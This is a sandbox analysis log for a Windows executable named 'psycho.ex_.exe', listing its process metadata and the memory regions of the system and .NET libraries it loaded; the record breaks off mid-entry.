# Flog Txt Version 1 # Analyzer Version: 2.3.2 # Analyzer Build Date: Nov 29 2018 14:58:43 # Log Creation Date: 05.01.2019 23:44:57.508 Process: id = "1" image_name = "psycho.ex_.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\psycho.ex_.exe" page_root = "0x5171b000" os_pid = "0x94c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Psycho.ex_.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 4 start_va = 0xb0000 end_va = 0x1affff entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 5 start_va = 0x11d0000 end_va = 0x1497fff entry_point = 0x11d0000 region_type = mapped_file name = "psycho.ex_.exe" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Psycho.ex_.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\psycho.ex_.exe") Region: id = 6 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 7 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 8 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 9 start_va = 0x7feff990000 end_va = 0x7feff990fff entry_point = 0x7feff990000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 10 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 11 start_va = 0x7fffffd6000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 12 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 145 start_va = 0x2c0000 end_va = 0x33ffff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 146 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x77550000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 147 start_va = 0x7fef4570000 end_va = 0x7fef45defff entry_point = 0x7fef4570000 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 148 start_va = 0x7fefd920000 end_va = 0x7fefd98afff entry_point = 0x7fefd920000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 149 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 150 start_va = 0x1b0000 end_va = 0x216fff entry_point = 0x1b0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 151 start_va = 0x3f0000 end_va = 0x3fffff entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 152 start_va = 0x400000 end_va = 0x4fffff entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 153 start_va = 0x5a0000 end_va = 0x61ffff entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 154 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 155 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 156 start_va = 0x7fefdb10000 end_va = 0x7fefdbaefff entry_point = 0x7fefdb10000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 157 start_va = 0x7fefe330000 end_va = 0x7fefe34efff entry_point = 0x7fefe330000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 158 start_va = 0x7feff740000 end_va = 0x7feff81afff entry_point = 0x7feff740000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 159 start_va = 0x7feff820000 end_va = 0x7feff94cfff entry_point = 0x7feff820000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 160 start_va = 0x620000 end_va = 0x71ffff entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 161 start_va = 0x7b0000 end_va = 0x7bffff entry_point = 0x0 region_type = private name = "private_0x00000000007b0000" filename = "" Region: id = 162 start_va = 0x7fef4400000 end_va = 0x7fef4498fff entry_point = 0x7fef4400000 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 163 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x77450000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 164 start_va = 0x7fefdc90000 end_va = 0x7fefdcf6fff entry_point = 0x7fefdc90000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 165 start_va = 0x7fefdd00000 end_va = 0x7fefddc8fff entry_point = 0x7fefdd00000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 166 start_va = 0x7fefe350000 end_va = 0x7fefe35dfff entry_point = 0x7fefe350000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 167 start_va = 0x7feff2e0000 end_va = 0x7feff350fff entry_point = 0x7feff2e0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 168 start_va = 0x7c0000 end_va = 0x947fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007c0000" filename = "" Region: id = 169 start_va = 0x7fefe0a0000 end_va = 0x7fefe1a8fff entry_point = 0x7fefe0a0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 170 start_va = 0x7feff950000 end_va = 0x7feff97dfff entry_point = 0x7feff950000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 171 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 172 start_va = 0x50000 end_va = 0x50fff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 173 start_va = 0x950000 end_va = 0xad0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 174 start_va = 0x14a0000 end_va = 0x289ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000014a0000" filename = "" Region: id = 175 start_va = 0x7fefc780000 end_va = 0x7fefc78bfff entry_point = 0x7fefc780000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 176 start_va = 0x7fef3970000 end_va = 0x7fef3a66fff entry_point = 0x7fef3970000 region_type = mapped_file name = "msvcr120_clr0400.dll" filename = "\\Windows\\System32\\msvcr120_clr0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll") Region: id = 177 start_va = 0x7fef3a70000 end_va = 0x7fef43f6fff entry_point = 0x7fef3a70000 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 178 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 179 start_va = 0x70000 end_va = 0x7ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 180 start_va = 0x80000 end_va = 0x8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 181 start_va = 0x90000 end_va = 0x90fff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 182 start_va = 0xa0000 end_va = 0xa0fff entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 183 start_va = 0xbd0000 end_va = 0xc4ffff entry_point = 0x0 region_type = private name = "private_0x0000000000bd0000" filename = "" Region: id = 184 start_va = 0xcf0000 end_va = 0xd6ffff entry_point = 0x0 region_type = private name = "private_0x0000000000cf0000" filename = "" Region: id = 185 start_va = 0xd70000 end_va = 0xe70fff entry_point = 0x0 region_type = private name = "private_0x0000000000d70000" filename = "" Region: id = 186 start_va = 0xed0000 end_va = 0xfcffff entry_point = 0x0 region_type = private name = "private_0x0000000000ed0000" filename = "" Region: id = 187 start_va = 0x1090000 end_va = 0x118ffff entry_point = 0x0 region_type = private name = "private_0x0000000001090000" filename = "" Region: id = 188 start_va = 0x28a0000 end_va = 0x1a89ffff entry_point = 0x0 region_type = private name = "private_0x00000000028a0000" filename = "" Region: id = 189 start_va = 0x1a8a0000 end_va = 0x1ac0ffff entry_point = 0x0 region_type = private name = "private_0x000000001a8a0000" filename = "" Region: id = 190 start_va = 0x1ac10000 end_va = 0x1ad0ffff entry_point = 0x0 region_type = private name = "private_0x000000001ac10000" filename = "" Region: id = 191 start_va = 0x1add0000 end_va = 0x1aecffff entry_point = 0x0 region_type = private name = "private_0x000000001add0000" filename = "" Region: id = 192 start_va = 0x1aed0000 end_va = 0x1b19efff entry_point = 0x1aed0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 193 start_va = 0x7fe942e0000 end_va = 0x7fe942effff entry_point = 0x0 region_type = private name = "private_0x000007fe942e0000" filename = "" Region: id = 194 start_va = 0x7fe942f0000 end_va = 0x7fe942fffff entry_point = 0x0 region_type = private name = "private_0x000007fe942f0000" filename = "" Region: id = 195 start_va = 0x7fe94300000 end_va = 0x7fe9438ffff entry_point = 0x0 region_type = private name = "private_0x000007fe94300000" filename = "" Region: id = 196 start_va = 0x7fe94390000 end_va = 0x7fe943fffff entry_point = 0x0 region_type = private name = "private_0x000007fe94390000" filename = "" Region: id = 197 start_va = 0x7fef24a0000 end_va = 0x7fef3968fff entry_point = 0x7fef24a0000 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\70690ed034c632a010f791ea65e40064\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\70690ed034c632a010f791ea65e40064\\mscorlib.ni.dll") Region: id = 198 start_va = 0x7fefddf0000 end_va = 0x7fefdff2fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 199 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 200 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 201 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 202 start_va = 0x220000 end_va = 0x29cfff entry_point = 0x220000 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 203 start_va = 0x220000 end_va = 0x29cfff entry_point = 0x220000 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 204 start_va = 0x7fefd4b0000 end_va = 0x7fefd4befff entry_point = 0x7fefd4b0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 205 start_va = 0x7fefbf10000 end_va = 0x7fefbf65fff entry_point = 0x7fefbf10000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 206 start_va = 0x1b1a0000 end_va = 0x1b3fffff entry_point = 0x0 region_type = private name = "private_0x000000001b1a0000" filename = "" Region: id = 207 start_va = 0xae0000 end_va = 0xbbefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ae0000" filename = "" Region: id = 208 start_va = 0x7fe94400000 end_va = 0x7fe9440ffff entry_point = 0x0 region_type = private name = "private_0x000007fe94400000" filename = "" Region: id = 209 start_va = 0x7fe94410000 end_va = 0x7fe9444ffff entry_point = 0x0 region_type = private name = "private_0x000007fe94410000" filename = "" Region: id = 210 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 211 start_va = 0x7fffff10000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 212 start_va = 0x7fef2390000 end_va = 0x7fef2497fff entry_point = 0x7fef2390000 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 213 start_va = 0x7fefdbb0000 end_va = 0x7fefdc86fff entry_point = 0x7fefdbb0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 214 start_va = 0x220000 end_va = 0x22ffff entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 215 start_va = 0x1b280000 end_va = 0x1b37ffff entry_point = 0x0 region_type = private name = "private_0x000000001b280000" filename = "" Region: id = 216 start_va = 0x1b380000 end_va = 0x1b3fffff entry_point = 0x0 region_type = private name = "private_0x000000001b380000" filename = "" Region: id = 217 start_va = 0x1b5b0000 end_va = 0x1b62ffff entry_point = 0x0 region_type = private name = "private_0x000000001b5b0000" filename = "" Region: id = 218 start_va = 0x1b630000 end_va = 0x1b8fafff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b630000" filename = "" Region: id = 219 start_va = 0x1ba20000 end_va = 0x1bb1ffff entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 220 start_va = 0x7ffffefe000 end_va = 0x7ffffefffff entry_point = 0x0 region_type = private name = "private_0x000007ffffefe000" filename = "" Region: id = 221 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 222 start_va = 0x1b4a0000 end_va = 0x1b59ffff entry_point = 0x0 region_type = private name = "private_0x000000001b4a0000" filename = "" Region: id = 223 start_va = 0x1bb90000 end_va = 0x1bc8ffff entry_point = 0x0 region_type = private name = "private_0x000000001bb90000" filename = "" Region: id = 224 start_va = 0x7fe94450000 end_va = 0x7fe9445ffff entry_point = 0x0 region_type = private name = "private_0x000007fe94450000" filename = "" Region: id = 225 start_va = 0x7fe94460000 end_va = 0x7fe9446ffff entry_point = 0x0 region_type = private name = "private_0x000007fe94460000" filename = "" Region: id = 226 start_va = 0x7fef06a0000 end_va = 0x7fef157ffff entry_point = 0x7fef06a0000 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\6e89f5768c30e6d5cc74a6b198f437ce\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\6e89f5768c30e6d5cc74a6b198f437ce\\system.windows.forms.ni.dll") Region: id = 227 start_va = 0x7fef1580000 end_va = 0x7fef1769fff entry_point = 0x7fef1580000 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\839ea0590195c34c0b0054db5a9c3513\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\839ea0590195c34c0b0054db5a9c3513\\system.drawing.ni.dll") Region: id = 228 start_va = 0x7fef1770000 end_va = 0x7fef2382fff entry_point = 0x7fef1770000 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\76e0ae2162ace0d6430ce89ffdf32afa\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\76e0ae2162ace0d6430ce89ffdf32afa\\system.ni.dll") Region: id = 229 start_va = 0x7fefceb0000 end_va = 0x7fefcec6fff entry_point = 0x7fefceb0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 230 start_va = 0x7ffffefa000 end_va = 0x7ffffefbfff entry_point = 0x0 region_type = private name = "private_0x000007ffffefa000" filename = "" Region: id = 231 start_va = 0x7ffffefc000 end_va = 0x7ffffefdfff entry_point = 0x0 region_type = private name = "private_0x000007ffffefc000" filename = "" Region: id = 232 start_va = 0x7fefcbb0000 end_va = 0x7fefcbf6fff entry_point = 0x7fefcbb0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 233 start_va = 0x7fefe360000 end_va = 0x7feff0e7fff entry_point = 0x7fefe360000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 234 start_va = 0x230000 end_va = 0x230fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000230000" filename = "" Region: id = 235 start_va = 0x7feefae0000 end_va = 0x7feefd03fff entry_point = 0x7feefae0000 region_type = mapped_file name = "microsoft.visualbasic.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.V9921e851#\\0fe7d8efc42d59706fc969c7073faa21\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\microsoft.v9921e851#\\0fe7d8efc42d59706fc969c7073faa21\\microsoft.visualbasic.ni.dll") Region: id = 236 start_va = 0x7feefd10000 end_va = 0x7fef0695fff entry_point = 0x7feefd10000 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Core\\0b543c6391a29ab6773dc4ad0da611f2\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.core\\0b543c6391a29ab6773dc4ad0da611f2\\system.core.ni.dll") Region: id = 237 start_va = 0x7fef8f30000 end_va = 0x7fef8f45fff entry_point = 0x7fef8f30000 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 238 start_va = 0x1bc90000 end_va = 0x1bf61fff entry_point = 0x1bc90000 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Region: id = 239 start_va = 0x7fefd020000 end_va = 0x7fefd041fff entry_point = 0x7fefd020000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 326 start_va = 0x240000 end_va = 0x250fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 327 start_va = 0x260000 end_va = 0x261fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 328 start_va = 0x270000 end_va = 0x270fff entry_point = 0x270000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll") Region: id = 329 start_va = 0x1c250000 end_va = 0x1c34ffff entry_point = 0x0 region_type = private name = "private_0x000000001c250000" filename = "" Region: id = 330 start_va = 0x280000 end_va = 0x286fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 331 start_va = 0x290000 end_va = 0x291fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000290000" filename = "" Region: id = 332 start_va = 0x1c350000 end_va = 0x1c742fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001c350000" filename = "" Region: id = 333 start_va = 0x270000 end_va = 0x270fff entry_point = 0x270000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll") Region: id = 339 start_va = 0x270000 end_va = 0x270fff entry_point = 0x270000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll") Region: id = 347 start_va = 0x270000 end_va = 0x276fff entry_point = 0x270000 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\System32\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\tzres.dll.mui") Region: id = 348 start_va = 0x270000 end_va = 0x270fff entry_point = 0x270000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll") Region: id = 349 start_va = 0x270000 end_va = 0x276fff entry_point = 0x270000 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\System32\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\tzres.dll.mui") Region: id = 350 start_va = 0x270000 end_va = 0x270fff entry_point = 0x270000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll") Region: id = 351 start_va = 0x270000 end_va = 0x276fff entry_point = 0x270000 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\System32\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\tzres.dll.mui") Region: id = 352 start_va = 0x340000 end_va = 0x3dafff entry_point = 0x340000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll") Region: id = 353 start_va = 0x340000 end_va = 0x3dafff entry_point = 0x340000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll") Region: id = 354 start_va = 0x7fef8d20000 end_va = 0x7fef8dbffff entry_point = 0x7fef8d20000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll") Region: id = 355 start_va = 0x340000 end_va = 0x39ffff entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 356 start_va = 0x1b1a0000 end_va = 0x1b29ffff entry_point = 0x0 region_type = private name = "private_0x000000001b1a0000" filename = "" Region: id = 357 start_va = 0x1bf70000 end_va = 0x1c15ffff entry_point = 0x1bf70000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 358 start_va = 0x1bf70000 end_va = 0x1c15ffff entry_point = 0x1bf70000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 359 start_va = 0x7fefc0f0000 end_va = 0x7fefc2e3fff entry_point = 0x7fefc0f0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 360 start_va = 0x270000 end_va = 0x270fff entry_point = 0x270000 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 361 start_va = 0x2a0000 end_va = 0x2a1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 516 start_va = 0x7fefbcf0000 end_va = 0x7fefbf04fff entry_point = 0x7fefbcf0000 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\gdiplus.dll") Region: id = 517 start_va = 0x1b2a0000 end_va = 0x1b37ffff entry_point = 0x0 region_type = private name = "private_0x000000001b2a0000" filename = "" Region: id = 518 start_va = 0x340000 end_va = 0x35afff entry_point = 0x340000 region_type = mapped_file name = "gdipfontcachev1.dat" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\GDIPFONTCACHEV1.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\gdipfontcachev1.dat") Region: id = 519 start_va = 0x390000 end_va = 0x39ffff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 520 start_va = 0x1c000000 end_va = 0x1c0fffff entry_point = 0x0 region_type = private name = "private_0x000000001c000000" filename = "" Region: id = 521 start_va = 0x7ffffef8000 end_va = 0x7ffffef9fff entry_point = 0x0 region_type = private name = "private_0x000007ffffef8000" filename = "" Region: id = 522 start_va = 0x1b900000 end_va = 0x1b9fffff entry_point = 0x0 region_type = private name = "private_0x000000001b900000" filename = "" Region: id = 523 start_va = 0xfd0000 end_va = 0x107afff entry_point = 0xfd0000 region_type = mapped_file name = "tahoma.ttf" filename = "\\Windows\\Fonts\\tahoma.ttf" (normalized: "c:\\windows\\fonts\\tahoma.ttf") Region: id = 524 start_va = 0xfd0000 end_va = 0x107afff entry_point = 